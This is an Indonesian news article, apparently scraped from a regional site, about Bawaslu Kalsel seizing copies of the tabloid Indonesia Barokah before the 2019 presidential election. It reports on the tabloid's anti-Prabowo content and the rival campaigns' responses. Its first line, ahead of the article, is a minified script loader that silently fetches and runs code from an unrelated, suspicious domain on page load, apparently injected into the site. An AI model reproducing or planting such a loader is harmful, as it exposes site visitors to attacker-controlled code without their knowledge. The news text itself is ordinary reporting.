(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Mengupas Isi Tabloid Indonesia Barokah yang Disita Bawaslu Kalsel


BANJARBARU, Peredaran tabloid kontroversial Indonesia Barokah di Provinsi Kalsel berhasil diamankan Bawaslu Kalsel. Sebanyak 38 koli berisi belasan ribu eksemplar tabloid tersebut ditemukan di Kantor Pos Banjarbaru Landasan Ulin Tengah, Jalan A.Yani Km. 23, 5, Landasan Ulin Utara, Kecamatan Liang Anggang, Kota Banjarbaru, Kalimantan Selatan 70724, Selasa (29/1).

Tabloid yang mengusung berita utama berjudul “Reuni 212: Kepentingan Umat atau Kepentingan Politik?” itu memicu kontroversi perihal konten beritanya. Alih-alih seperti buletin ‘Obor Rakyat’ yang sebelumnya dipermasalahkan saat kemunculannya pada Pilpres sebelumnya.

Menggunakan judul dengan huruf kapital, gambar depan tabloid Indonesia Barokah menampilkan orang memakai sorban dan memainkan dua wayang.  Dilansir dari Tirto.co.id, tabloid berisi 16 halaman ini menampilkan 13 macam rubrik berita, mulai dari Mukadimah hingga Galeri.

Dari sekian banyak tulisan itu, yang paling menarik disorot adalah Laporan Utama (pada halaman 5) dan Liputan Khusus (halaman 6). Laporan Utama menurunkan berita berjudul “Prabowo Marah, Media Dibelah.” Isi laporan itu adalah soal tuduhan bahwa Prabowo terlibat, atau minimal punya kepentingan besar di balik Reuni 212. Ini ditunjukkan ketika ia marah-marah ke media yang dianggap mengecilkan jumlah massa yang mengikuti acara.

Pada rubrik Liputan Khusus, Indonesia Barokah menurunkan artikel berjudul “Membohongi Publik untuk Kemenangan Politik?: Membongkar Strategi Semprotan Kebohongan.” Naskah ini bercerita soal kasus-kasus hoaks yang melibatkan tim sukses Prabowo, dari mulai Ratna Sarumpaet hingga Neno Warisma.

Juru Bicara Badan Pemenangan Nasional (BPN) Prabowo-Sandiaga, Ferdinand Hutahaean menilai karena isi berita seperti itu patut diduga pembuat tabloid ini berasosiasi dengan Joko Widodo-Ma’ruf Amin. Tim suksesnya, misalnya. “Kami meyakini ini terasosiasi dengan kubu 01 [Jokowi-Ma’ruf Amin] karena tabloid itu isinya fitnah semua kepada Prabowo. Siapa lagi yang melakukan itu, ya, selain 01,” ujar Ferdinand.

Tabloid ini jadi tak jauh beda dengan Obor Rakyat yang masif menyebar pada Pilpres 2014, tambah Ferdinand. “Polanya sama, menyebarkan tabloid isinya fitnah.”

Tudingan ini, seperti bisa ditebak, disanggah Tim Kampanye Nasioanal (TKN) Jokowi-Ma’ruf. Direktur Konten TKN, Fiki Satari, menyatakan bahwa kerja mereka hanya membentuk narasi, sosialisasi, dan juga video kampanye kepada relawan. Tapi mereka tidak pernah membuat atau menyuruh membuat tabloid. “Kalau dari kami yang jelas enggak ada sama sekali,” kata Fiki kepada Tirto.

Dia malah menduga Indonesia Barokah bisa mempunyai maksud lain. Hal ini karena menurutnya saat ini ada banyak selebaran terkait Jokowi-Ma’ruf yang malah berisikan berita tidak benar dan menyudutkan paslon 01. “Seolah-olah dibuat untuk degradasi 02, tapi nanti dijadikan playing victim, itu kan bisa terjadi,” ucapnya.

Pada halaman 2 sebetulnya tercantum susunan redaksi, juga alamat, sebagaimana media-media cetak pada umumnya. Yang dicatat mulai dari pemimpin umum hingga bagian pemasaran. Dua orang teratas di susunan redaksi, Moch Shaka Dzulkarnaen dan Ichwanuddin, menjabat Pemimpin Umum dan Pemimpin Redaksi.

Tak jelas siapa nama-nama yang tercantum. Tak ada yang familiar kecuali kesamaan nama yang tak bisa diverifikasi. Alamat redaksi, Jalan Haji Kerenkemi, Rawa Bacang, Jatirahayu, Kecamatan Pondok Melati, Bekasi, pun palsu. Hal ini juga terjadi di Obor Rakyat.

Badan Pengawas Pemilu (Bawaslu) RI tengah menggandeng Dewan Pers untuk meneliti konten tabloid. Bila memang dalam tabloid tersebut ditemukan unsur penghinaan terhadap pasangan calon tertentu, Bawaslu segera melimpahkan penanganan perkara ini ke Sentra Penegakkan Hukum Terpadu (Sentra Gakkumdu).

Saat ini, 38 koli berisikan tabloid kontroversial ini kini telah diserahkan Kantor Pos SPP Banjarmasin ke Bawaslu dalam surat terima kiriman Tabloid Indonesia Barokah yang ditandatangani kedua belah pihak. Hal ini juga disaksikan oleh pihak kepolisian baik Polda Kalsel maupun Polres Banjarbaru. (rico/tirto)

Reporter : Rico/tirto
Editor : Chell

Desy Arfianty

Recent Posts

Kabupaten Banjar Raih Penghargaan dari Ombudsman

KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More

9 menit ago

Pemko Banjarbaru Raih Penghargaan Pelayanan Publik dari Ombudsman RI

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More

12 jam ago

Naik 6,5 Persen, Upah Minimum Kalsel 2025 Rp3,4 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More

13 jam ago

Grand Final Pemilihan Duta Baca Balangan

KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More

20 jam ago

Optimalkan Fungsi Pasar Itik Alabio

KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More

20 jam ago

Tak Perlu Repot ke Bank, Atasi Blokir Akun BRImo Langsung dari HP!

KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More

1 hari ago

This website uses cookies.